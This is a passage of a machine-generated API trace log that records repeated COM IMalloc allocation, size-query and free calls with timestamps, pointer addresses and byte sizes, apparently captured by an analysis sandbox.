(This=0x7ff9e7edf3f0, pv=0x2764b17c110) [0098.271] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad3a660 [0098.271] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764ad3a660) returned 0x20 [0098.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3a660) [0098.272] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x276450bf520 [0098.272] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x276450bf520) returned 0x30 [0098.339] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276450bf520) [0098.339] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x276455727d0 [0098.339] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x276455727d0) returned 0x48 [0098.351] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455727d0) [0098.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17ccb0 [0098.351] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17ccb0) returned 0x10 [0098.351] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17ccb0) [0098.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.351] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.351] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.352] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17cad0 [0098.352] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17cad0) returned 0x10 [0098.352] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17cad0) [0098.352] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.352] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.352] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.352] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c870 [0098.352] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c870) returned 0x10 [0098.352] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c870) [0098.352] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.352] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.353] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.353] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c730 [0098.353] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c730) returned 0x10 [0098.353] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c730) [0098.353] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.353] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.353] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.353] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9f0 [0098.353] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9f0) returned 0x10 [0098.353] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9f0) [0098.353] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17cb30 [0098.353] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17cb30) returned 0x10 [0098.354] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17cb30) [0098.354] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c7f0 [0098.354] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c7f0) returned 0x10 [0098.354] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c7f0) [0098.354] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.354] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.354] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.354] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c690 [0098.354] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c690) returned 0x10 [0098.355] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c690) [0098.355] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.355] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.355] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.355] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17cb10 [0098.355] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17cb10) returned 0x10 [0098.355] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17cb10) [0098.355] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.355] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.355] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.355] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.355] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.359] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.359] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c530 [0098.359] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c530) returned 0x10 [0098.360] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c530) [0098.360] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c7f0 [0098.360] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c7f0) returned 0x10 [0098.360] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c7f0) [0098.360] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17ccb0 [0098.360] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17ccb0) returned 0x10 [0098.360] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17ccb0) [0098.360] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.360] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.360] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.360] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c730 [0098.360] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c730) returned 0x10 [0098.361] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c730) [0098.361] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.361] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.361] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.361] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17ccb0 [0098.361] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17ccb0) returned 0x10 [0098.361] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17ccb0) [0098.362] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.362] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.362] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.362] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c730 [0098.362] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c730) returned 0x10 [0098.362] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c730) [0098.362] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.362] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.362] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.362] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17ccb0 [0098.362] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17ccb0) returned 0x10 [0098.363] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17ccb0) [0098.363] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.363] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.363] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.363] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17cad0 [0098.363] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17cad0) returned 0x10 [0098.363] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17cad0) [0098.363] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.363] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.364] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.364] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.364] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.364] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.364] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c730 [0098.364] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c730) returned 0x10 [0098.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c730) [0098.364] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.365] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.365] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c7f0 [0098.365] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c7f0) returned 0x10 [0098.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c7f0) [0098.365] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.365] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.365] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c970 [0098.365] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c970) returned 0x10 [0098.365] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c970) [0098.366] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.366] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.366] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.366] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17ccb0 [0098.366] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17ccb0) returned 0x10 [0098.366] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17ccb0) [0098.366] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.366] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.366] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.366] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9f0 [0098.366] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9f0) returned 0x10 [0098.367] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9f0) [0098.367] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.367] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.367] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.367] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c950 [0098.367] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c950) returned 0x10 [0098.367] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c950) [0098.367] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c950 [0098.367] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c950) returned 0x10 [0098.367] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c950) [0098.367] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17ccb0 [0098.367] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17ccb0) returned 0x10 [0098.368] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17ccb0) [0098.368] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.368] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.368] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.368] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c530 [0098.368] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c530) returned 0x10 [0098.368] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c530) [0098.368] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.368] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.368] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.368] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c730 [0098.368] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c730) returned 0x10 [0098.369] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c730) [0098.369] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.369] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.369] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.369] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c7f0 [0098.369] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c7f0) returned 0x10 [0098.369] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c7f0) [0098.369] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17cad0 [0098.369] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17cad0) returned 0x10 [0098.370] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17cad0) [0098.370] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c7f0 [0098.370] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c7f0) returned 0x10 [0098.370] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c7f0) [0098.370] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.370] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.370] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.371] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x276453b8be0 [0098.371] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x276453b8be0) returned 0x30 [0098.371] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276453b8be0) [0098.371] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17ccb0 [0098.371] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17ccb0) returned 0x10 [0098.371] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17ccb0) [0098.371] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17cb10 [0098.371] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17cb10) returned 0x10 [0098.371] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17cb10) [0098.371] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.371] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.372] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.372] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.372] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.372] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.372] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e500 [0098.372] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e500) returned 0x8 [0098.372] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e500) [0098.372] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f73c0 [0098.372] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b7f73c0) returned 0x28 [0098.373] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f73c0) [0098.373] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c950 [0098.373] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c950) returned 0x10 [0098.375] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c950) [0098.434] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b17d470 [0098.434] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17d470) returned 0x18 [0098.443] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d470) [0098.444] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51eaa0 [0098.444] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51eaa0) returned 0x8 [0098.444] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51eaa0) [0098.444] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ead0 [0098.444] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ead0) returned 0x8 [0098.444] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ead0) [0098.444] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d4f0 [0098.444] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17d4f0) returned 0x10 [0098.444] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d4f0) [0098.444] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f8620 [0098.444] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b7f8620) returned 0x20 [0098.445] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f8620) [0098.445] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x276450d9660 [0098.445] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x276450d9660) returned 0x30 [0098.454] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276450d9660) [0098.454] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x276455739a0 [0098.454] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x276455739a0) returned 0x48 [0098.522] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455739a0) [0098.522] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ebb0 [0098.522] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ebb0) returned 0x8 [0098.523] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ebb0) [0098.523] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51eb30 [0098.523] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51eb30) returned 0x8 [0098.523] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51eb30) [0098.523] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17cfd0 [0098.523] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17cfd0) returned 0x10 [0098.523] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17cfd0) [0098.523] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e920 [0098.523] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e920) returned 0x8 [0098.524] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e920) [0098.524] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b17d250 [0098.524] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17d250) returned 0x18 [0098.524] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d250) [0098.524] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e920 [0098.524] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e920) returned 0x8 [0098.524] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e920) [0098.524] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d070 [0098.524] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17d070) returned 0x10 [0098.528] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d070) [0098.528] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e970 [0098.528] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e970) returned 0x8 [0098.528] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e970) [0098.528] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51eaa0 [0098.528] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51eaa0) returned 0x8 [0098.528] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51eaa0) [0098.528] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e930 [0098.528] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e930) returned 0x8 [0098.529] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e930) [0098.529] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e9f0 [0098.529] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e9f0) returned 0x8 [0098.529] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e9f0) [0098.529] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51eb30 [0098.529] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51eb30) returned 0x8 [0098.529] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51eb30) [0098.529] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51eb10 [0098.529] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51eb10) returned 0x8 [0098.529] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51eb10) [0098.529] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d0f0 [0098.529] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17d0f0) returned 0x10 [0098.534] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d0f0) [0098.534] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d1d0 [0098.534] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17d1d0) returned 0x10 [0098.540] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d1d0) [0098.540] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d2f0 [0098.540] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17d2f0) returned 0x10 [0098.544] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d2f0) [0098.544] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e930 [0098.544] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e930) returned 0x8 [0098.544] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e930) [0098.544] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ec80 [0098.544] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ec80) returned 0x8 [0098.544] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ec80) [0098.544] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b17d1d0 [0098.544] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17d1d0) returned 0x18 [0098.545] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d1d0) [0098.545] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f8080 [0098.545] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b7f8080) returned 0x20 [0098.549] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f8080) [0098.549] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d210 [0098.549] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17d210) returned 0x10 [0098.549] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d210) [0098.559] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51eaa0 [0098.559] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51eaa0) returned 0x8 [0098.559] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51eaa0) [0098.559] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d0f0 [0098.559] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17d0f0) returned 0x10 [0098.560] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17d0f0) [0098.560] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17ceb0 [0098.560] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17ceb0) returned 0x10 [0098.562] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17ceb0) [0098.562] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e920 [0098.562] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e920) returned 0x8 [0098.562] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e920) [0099.340] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2763c099130 [0099.340] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f0940 [0099.340] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f0b50 [0099.340] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2763c0987b0 [0099.340] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f0f40 [0099.341] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2763b995bb0 [0099.341] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 